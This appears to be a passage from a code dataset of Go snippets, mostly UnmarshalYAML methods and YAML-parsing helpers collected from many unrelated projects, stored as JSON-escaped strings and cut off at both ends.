unmarshaled.Ref\n\ts.Bind = unmarshaled.Bind\n\ts.Timeout = unmarshaled.Timeout\n\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\n\ts.Retry = unmarshaled.Retry\n\n\tp := protocol.Get(s.Protocol)\n\tif p == nil {\n\t\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\n\t\t\treturn errors.Errorf(\"unknown protocol: %s\", s.Protocol)\n\t\t}\n\t\treturn nil\n\t}\n\tif unmarshaled.Request != nil {\n\t\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ts.Request = invoker\n\t}\n\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.Expect = builder\n\n\treturn nil\n}","func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\n\ttype storeYAML map[string]map[string]entryYAML\n\n\tsy := make(storeYAML, 0)\n\n\terr = unmarshal(&sy)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*s = NewStore()\n\tfor groupID, group := range sy {\n\t\tfor entryID, entry := range group {\n\t\t\tentry.e.setGroup(groupID)\n\t\t\tif err = s.add(entryID, entry.e); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}","func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}","func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}","func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tlbSet := model.LabelSet{}\n\terr := unmarshal(&lbSet)\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.LabelSet = lbSet\n\treturn nil\n}","func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tmsg.unmarshal = unmarshal\n\treturn nil\n}","func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\n\ttag := GetTag(node.Value)\n\tf.Name = tag.Name\n\tf.Negates = tag.Negates\n\tlog.Tracef(\"Unmarshal %s into %s\\n\", node.Value, tag)\n\treturn nil\n}","func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// new temp as map[string]interface{}.\n\ttemp := make(map[string]interface{})\n\n\t// unmarshal temp as yaml.\n\tif err := unmarshal(temp); err != nil {\n\t\treturn err\n\t}\n\n\treturn this.unmarshal(temp)\n}","func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar typeDecoder map[string]rawMessage\n\terr := unmarshal(&typeDecoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn o.unmarshalDecodedType(typeDecoder)\n}","func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\n\tvar j string\n\terr := yaml.Unmarshal([]byte(n.Value), &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\n\t*s = toID[j]\n\treturn nil\n}","func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype rawContainerDef ContainerDef\n\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\n\tif err := unmarshal(&raw); err != nil {\n\t\treturn err\n\t}\n\n\t*cd = ContainerDef(raw)\n\treturn nil\n}","func (r *rawMessage) UnmarshalYAML(b []byte) error {\n\t*r = b\n\treturn nil\n}","func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain ArtifactoryParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (f *BodyField) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value string\n\tif err := unmarshal(&value); err != nil {\n\t\treturn fmt.Errorf(\"the field is not a string: %s\", err)\n\t}\n\n\t*f = fromJSONDot(value)\n\treturn nil\n}","func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}","func parseYaml(yml []byte) T {\n\tt := T{}\n\terr := yaml.Unmarshal([]byte(yml), &t)\n\tif err != nil {\n\t\tfmt.Printf(\"error: %v\", err)\n\t}\n\treturn t\n}","func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value string\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tif err := t.Set(value); err != nil {\n\t\treturn fmt.Errorf(\"failed to parse '%s' to Type: %v\", value, err)\n\t}\n\n\treturn nil\n}","func unmarsharlYaml(byteArray []byte) Config {\n\tvar cfg Config\n\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\n\tif err != nil {\n\t\tlog.Fatalf(\"error: %v\", err)\n\t}\n\treturn cfg\n}","func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\n\tvar d string\n\tif err = value.Decode(&d); err != nil {\n\t\treturn err\n\t}\n\t// check data format\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn err\n\t}\n\n\t*date = Date(d)\n\treturn nil\n}","func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ParseTransformString(s)\n\treturn err\n}","func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar loglevelString string\n\terr := unmarshal(&loglevelString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tloglevelString = strings.ToLower(loglevelString)\n\tswitch loglevelString {\n\tcase \"error\", \"warn\", \"info\", \"debug\":\n\tdefault:\n\t\treturn fmt.Errorf(\"Invalid loglevel %s Must be one of [error, warn, info, debug]\", loglevelString)\n\t}\n\n\t*loglevel = Loglevel(loglevelString)\n\treturn nil\n}","func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}","func (r *repoEntry) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u map[string]string\n\tif err := unmarshal(&u); err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range u {\n\t\tswitch key := strings.ToLower(k); key {\n\t\tcase \"name\":\n\t\t\tr.Name = v\n\t\tcase \"url\":\n\t\t\tr.URL = v\n\t\tcase \"useoauth\":\n\t\t\tr.UseOAuth = strings.ToLower(v) == \"true\"\n\t\t}\n\t}\n\tif r.URL == \"\" {\n\t\treturn fmt.Errorf(\"repo entry missing url: %+v\", u)\n\t}\n\treturn nil\n}","func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar strVal string\n\terr := unmarshal(&strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\tparsed, err := Parse(strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*b = parsed\n\treturn nil\n}","func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar ktyp string\n\terr := unmarshal(&ktyp)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*k = KeventNameToKtype(ktyp)\n\treturn nil\n}","func (e *External) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar boolType bool\n\tif err := unmarshal(&boolType); err == nil {\n\t\te.External = boolType\n\t\treturn nil\n\t}\n\n\tvar structType = struct {\n\t\tName string\n\t}{}\n\tif err := unmarshal(&structType); err != nil {\n\t\treturn err\n\t}\n\tif structType.Name != \"\" {\n\t\te.External = true\n\t\te.Name = structType.Name\n\t}\n\treturn nil\n}","func (ep *Endpoint) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tp, err := ParseEndpoint(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*ep = *p\n\treturn nil\n}","func LoadYaml(data []byte) ([]runtime.Object, error) {\n\tparts := bytes.Split(data, []byte(\"---\"))\n\tvar r []runtime.Object\n\tfor _, part := range parts {\n\t\tpart = bytes.TrimSpace(part)\n\t\tif len(part) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tobj, _, err := scheme.Codecs.UniversalDeserializer().Decode([]byte(part), nil, nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tr = append(r, obj)\n\t}\n\treturn r, nil\n}","func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate bool\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tb.set(candidate)\n\treturn nil\n}","func (ln *LabelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tif !LabelName(s).IsValid() {\n\t\treturn fmt.Errorf(\"%q is not a valid label name\", s)\n\t}\n\t*ln = LabelName(s)\n\treturn nil\n}","func UnmarshalYAML(config *YAMLConfiguration, path string) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = yaml.Unmarshal(data, config)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n}","func (f *Float64) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate float64\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tf.set(candidate)\n\treturn nil\n}","func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\n\tvar s string\n\tif err := unmashal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := time.ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = duration(dur)\n\treturn nil\n}","func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar cl CommandList\n\tcommandCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&cl) },\n\t\tAssign: func() { *r = Run{Command: cl} },\n\t}\n\n\ttype runType Run // Use new type to avoid recursion\n\tvar runItem runType\n\trunCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *r = Run(runItem) },\n\t\tValidate: func() error {\n\t\t\tactionUsedList := []bool{\n\t\t\t\tlen(runItem.Command) != 0,\n\t\t\t\tlen(runItem.SubTaskList) != 0,\n\t\t\t\trunItem.SetEnvironment != nil,\n\t\t\t}\n\n\t\t\tcount := 0\n\t\t\tfor _, isUsed := range actionUsedList {\n\t\t\t\tif isUsed {\n\t\t\t\t\tcount++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif count > 1 {\n\t\t\t\treturn errors.New(\"only one action can be defined in `run`\")\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\n}","func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u64 uint64\n\tif unmarshal(&u64) == nil {\n\t\tAtomicStoreByteCount(bc, ByteCount(u64))\n\n\t\treturn nil\n\t}\n\n\tvar s string\n\tif unmarshal(&s) == nil {\n\t\tv, err := ParseByteCount(s)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%q: %w: %v\", s, ErrMalformedRepresentation, err)\n\t\t}\n\t\tAtomicStoreByteCount(bc, v)\n\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"%w: unexpected type\", ErrMalformedRepresentation)\n}","func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar runSlice []*Run\n\tsliceCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runSlice) },\n\t\tAssign: func() { *rl = runSlice },\n\t}\n\n\tvar runItem *Run\n\titemCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *rl = RunList{runItem} },\n\t}\n\n\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\n}","func (t *Task) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar rawTask map[string]interface{}\n\terr := unmarshal(&rawTask)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to unmarshal task: %s\", err)\n\t}\n\n\trawName, ok := rawTask[\"name\"]\n\tif !ok {\n\t\treturn errors.New(\"missing 'name' field\")\n\t}\n\n\ttaskName, ok := rawName.(string)\n\tif !ok || taskName == \"\" {\n\t\treturn errors.New(\"'name' field needs to be a non-empty string\")\n\t}\n\n\tt.Name = taskName\n\n\t// Delete name field, since it doesn't represent an action\n\tdelete(rawTask, \"name\")\n\n\tfor actionType, action := range rawTask {\n\t\taction, err := actions.UnmarshalAction(actionType, action)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to unmarshal action %q from task %q: %s\", actionType, t.Name, err)\n\t\t}\n\n\t\tt.Actions = append(t.Actions, action)\n\t}\n\n\tif len(t.Actions) == 0 {\n\t\treturn fmt.Errorf(\"task %q has no actions\", t.Name)\n\t}\n\n\treturn nil\n}","func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn f.setFromString(s)\n}","func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&tf.Tasks); err == nil {\n\t\ttf.Version = \"1\"\n\t\treturn nil\n\t}\n\n\tvar taskfile struct {\n\t\tVersion string\n\t\tExpansions int\n\t\tOutput string\n\t\tIncludes yaml.MapSlice\n\t\tVars Vars\n\t\tEnv Vars\n\t\tTasks Tasks\n\t}\n\tif err := unmarshal(&taskfile); err != nil {\n\t\treturn err\n\t}\n\ttf.Version = taskfile.Version\n\ttf.Expansions = taskfile.Expansions\n\ttf.Output = taskfile.Output\n\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttf.Includes = includes\n\ttf.IncludeDefaults = defaultInclude\n\ttf.Vars = taskfile.Vars\n\ttf.Env = taskfile.Env\n\ttf.Tasks = taskfile.Tasks\n\tif tf.Expansions <= 0 {\n\t\ttf.Expansions = 2\n\t}\n\treturn nil\n}","func (f *Field) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*f, err = NewField(s)\n\treturn err\n}","func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tobj := make(map[string]interface{})\n\tif err := unmarshal(&obj); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif value, ok := obj[\"authorizationUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.AuthorizationURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"tokenUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.TokenURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"refreshUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.RefreshURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"scopes\"]; ok {\n\t\trbytes, err := yaml.Marshal(value)\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tvalue := map[string]string{}\n\t\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tr.Scopes = value\n\t}\n\n\texts := Extensions{}\n\tif err := unmarshal(&exts); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif len(exts) > 0 {\n\t\tr.Extensions = exts\n\t}\n\n\treturn nil\n}","func (f *Fixture) FromYAML(tmpl string, vals, dst interface{}) {\n\tf.t.Helper()\n\n\tt, err := template.New(\"\").Parse(tmpl)\n\tif err != nil {\n\t\tf.t.Fatalf(\"Invalid template: %s\", err)\n\t}\n\tvar buf bytes.Buffer\n\tif err := t.Execute(&buf, vals); err != nil {\n\t\tf.t.Fatalf(\"Execute template: %s\", err)\n\t}\n\tif err := yaml.Unmarshal(bytes.TrimSpace(buf.Bytes()), dst); err != nil {\n\t\tf.t.Fatal(err)\n\t}\n}","func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPrivateKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar str string\n\tif err = unmarshal(&str); err == nil {\n\t\tw.Command = str\n\t\treturn nil\n\t}\n\n\tvar commandArray []string\n\tif err = unmarshal(&commandArray); err == nil {\n\t\tw.Commands = commandArray\n\t\treturn nil\n\t}\n\treturn nil //TODO: should be an error , something like UNhhandledError\n}","func parseYaml(yaml string) (*UnstructuredManifest, error) {\n\trawYamlParsed := &map[string]interface{}{}\n\terr := yamlParser.Unmarshal([]byte(yaml), rawYamlParsed)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trawJSON, err := json.Marshal(dyno.ConvertMapI2MapS(*rawYamlParsed))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tunstruct := meta_v1_unstruct.Unstructured{}\n\terr = unstruct.UnmarshalJSON(rawJSON)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmanifest := &UnstructuredManifest{\n\t\tunstruct: &unstruct,\n\t}\n\n\tlog.Printf(\"[DEBUG] %s Unstructed YAML: %+v\\n\", manifest, manifest.unstruct.UnstructuredContent())\n\treturn manifest, nil\n}","func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err == nil {\n\t\ti.File = s\n\t\treturn nil\n\t}\n\tvar str struct {\n\t\tFile string `yaml:\"file,omitempty\"`\n\t\tRepository string `yaml:\"repository,omitempty\"`\n\t\tNamespaceURI string `yaml:\"namespace_uri,omitempty\"`\n\t\tNamespacePrefix string `yaml:\"namespace_prefix,omitempty\"`\n\t}\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\ti.File = str.File\n\ti.Repository = str.Repository\n\ti.NamespaceURI = str.NamespaceURI\n\ti.NamespacePrefix = str.NamespacePrefix\n\treturn nil\n}","func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\n\tvo := reflect.ValueOf(o)\n\tunmarshalFn := yaml.Unmarshal\n\tif strict {\n\t\tunmarshalFn = yaml.UnmarshalStrict\n\t}\n\tj, err := yamlToJSON(y, &vo, unmarshalFn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error converting YAML to JSON: %v\", err)\n\t}\n\n\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error unmarshaling JSON: %v\", err)\n\t}\n\n\treturn nil\n}","func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}","func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \"=\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func unmarsharlYaml(byteArray []byte) Config {\n var cfg Config\n err := yaml.Unmarshal([]byte(byteArray), &cfg)\n if err != nil {\n log.Fatalf(\"error: %v\", err)\n }\n return cfg\n}","func (p *Package) UnmarshalYAML(value *yaml.Node) error {\n\tpkg := &Package{}\n\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\n\tvar err error // for use in the switch below\n\n\tlog.Trace().Interface(\"Node\", value).Msg(\"Pkg UnmarshalYAML\")\n\tif value.Tag != \"!!map\" {\n\t\treturn fmt.Errorf(\"unable to unmarshal yaml: value not map (%s)\", value.Tag)\n\t}\n\n\tfor i, node := range value.Content {\n\t\tlog.Trace().Interface(\"node1\", node).Msg(\"\")\n\t\tswitch node.Value {\n\t\tcase \"name\":\n\t\t\tpkg.Name = value.Content[i+1].Value\n\t\t\tif pkg.Name == \"\" {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase \"version\":\n\t\t\tpkg.Version = value.Content[i+1].Value\n\t\tcase \"present\":\n\t\t\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error().Err(err).Msg(\"can't parse installed field\")\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Trace().Interface(\"pkg\", pkg).Msg(\"what's in the box?!?!\")\n\t*p = *pkg\n\n\treturn nil\n}","func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar res map[string]interface{}\n\tif err := unmarshal(&res); err != nil {\n\t\treturn err\n\t}\n\terr := mapstructure.Decode(res, &at)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\n\t\tat.NonApplicable = true\n\t}\n\treturn nil\n}","func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}","func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}","func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\n\tif value.Kind != yaml.MappingNode {\n\t\treturn errors.New(\"expected mapping\")\n\t}\n\n\tgc.versions = make(map[string]*VersionConfiguration)\n\tvar lastId string\n\n\tfor i, c := range value.Content {\n\t\t// Grab identifiers and loop to handle the associated value\n\t\tif i%2 == 0 {\n\t\t\tlastId = c.Value\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle nested version metadata\n\t\tif c.Kind == yaml.MappingNode {\n\t\t\tv := NewVersionConfiguration(lastId)\n\t\t\terr := c.Decode(&v)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"decoding yaml for %q\", lastId)\n\t\t\t}\n\n\t\t\tgc.addVersion(lastId, v)\n\t\t\tcontinue\n\t\t}\n\n\t\t// $payloadType: \n\t\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\n\t\t\tswitch strings.ToLower(c.Value) {\n\t\t\tcase string(OmitEmptyProperties):\n\t\t\t\tgc.PayloadType.Set(OmitEmptyProperties)\n\t\t\tcase string(ExplicitCollections):\n\t\t\t\tgc.PayloadType.Set(ExplicitCollections)\n\t\t\tcase string(ExplicitProperties):\n\t\t\t\tgc.PayloadType.Set(ExplicitProperties)\n\t\t\tdefault:\n\t\t\t\treturn errors.Errorf(\"unknown %s value: %s.\", payloadTypeTag, c.Value)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// No handler for this value, return an error\n\t\treturn errors.Errorf(\n\t\t\t\"group configuration, unexpected yaml value %s: %s (line %d col %d)\", lastId, c.Value, c.Line, c.Column)\n\t}\n\n\treturn nil\n}","func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ti.set(candidate)\n\treturn nil\n}","func (d *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\trate, err := ParseRate(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = rate\n\treturn nil\n}","func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tmp map[string]interface{}\n\tif err := unmarshal(&tmp); err != nil {\n\t\treturn err\n\t}\n\n\tdata, err := json.Marshal(tmp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(data, m)\n}","func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype tmp Connection\n\tvar s struct {\n\t\ttmp `yaml:\",inline\"`\n\t}\n\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse YAML: %s\", err)\n\t}\n\n\t*r = Connection(s.tmp)\n\n\tif err := utils.ValidateTags(r); err != nil {\n\t\treturn err\n\t}\n\n\t// If options weren't specified, create an empty map.\n\tif r.Options == nil {\n\t\tr.Options = make(map[string]interface{})\n\t}\n\n\treturn nil\n}","func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tp string\n\tunmarshal(&tp)\n\tlevel, exist := LogLevelMapping[tp]\n\tif !exist {\n\t\treturn errors.New(\"invalid mode\")\n\t}\n\t*l = level\n\treturn nil\n}","func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif defaultTestLimits != nil {\n\t\t*l = *defaultTestLimits\n\t}\n\ttype plain TestLimits\n\treturn unmarshal((*plain)(l))\n}","func (s *TestFileParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain TestFileParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\tif s.Size == 0 {\n\t\treturn errors.New(\"File 'size' must be defined\")\n\t}\n\tif s.HistogramBucketPush == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_push' must be defined\")\n\t}\n\tif s.HistogramBucketPull == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_pull' must be defined\")\n\t}\n\treturn nil\n}","func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar mvList []string\n\tif err := unmarshal(&mvList); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMoves(mvList)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*moves = parsed\n\treturn nil\n}","func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMove(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*mv = *parsed\n\treturn nil\n}","func (a *RelabelAction) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tswitch act := RelabelAction(strings.ToLower(s)); act {\n\tcase RelabelReplace, RelabelKeep, RelabelDrop, RelabelHashMod, RelabelLabelMap, RelabelLabelDrop, RelabelLabelKeep:\n\t\t*a = act\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"unknown relabel action %q\", s)\n}","func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\tvar validStrings []string\n\tfor _, validType := range validTypes {\n\t\tvalidString := string(validType)\n\t\tif validString == str {\n\t\t\t*t = validType\n\t\t\treturn nil\n\t\t}\n\t\tvalidStrings = append(validStrings, validString)\n\t}\n\n\treturn fmt.Errorf(\"invalid traffic controller type %s, valid types are: %v\", str, validStrings)\n}","func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val string\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\treturn d.FromString(val)\n}","func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias PortMapping\n\taux := &struct {\n\t\tProtocol string `json:\"protocol\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(p),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\tif aux.Protocol != \"\" {\n\t\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown protocol value: %s\", aux.Protocol)\n\t\t}\n\t\tp.Protocol = PortMappingProtocol(val)\n\t}\n\treturn nil\n}","func (vl *valueList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\n\tvar err error\n\n\tvar valueSlice []value\n\tif err = unmarshal(&valueSlice); err == nil {\n\t\t*vl = valueSlice\n\t\treturn nil\n\t}\n\n\tvar valueItem value\n\tif err = unmarshal(&valueItem); err == nil {\n\t\t*vl = valueList{valueItem}\n\t\treturn nil\n\t}\n\n\treturn err\n}","func yamlDecode(ctx *pulumi.Context, text string, opts ...pulumi.InvokeOption) ([]map[string]interface{}, error) {\n\targs := struct {\n\t\tText string `pulumi:\"text\"`\n\t}{Text: text}\n\tvar ret struct {\n\t\tResult []map[string]interface{} `pulumi:\"result\"`\n\t}\n\n\tif err := ctx.Invoke(\"kubernetes:yaml:decode\", &args, &ret, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ret.Result, nil\n}","func (key *PublicKey) UnmarshalYAML(unmarshal func(interface{}) error) 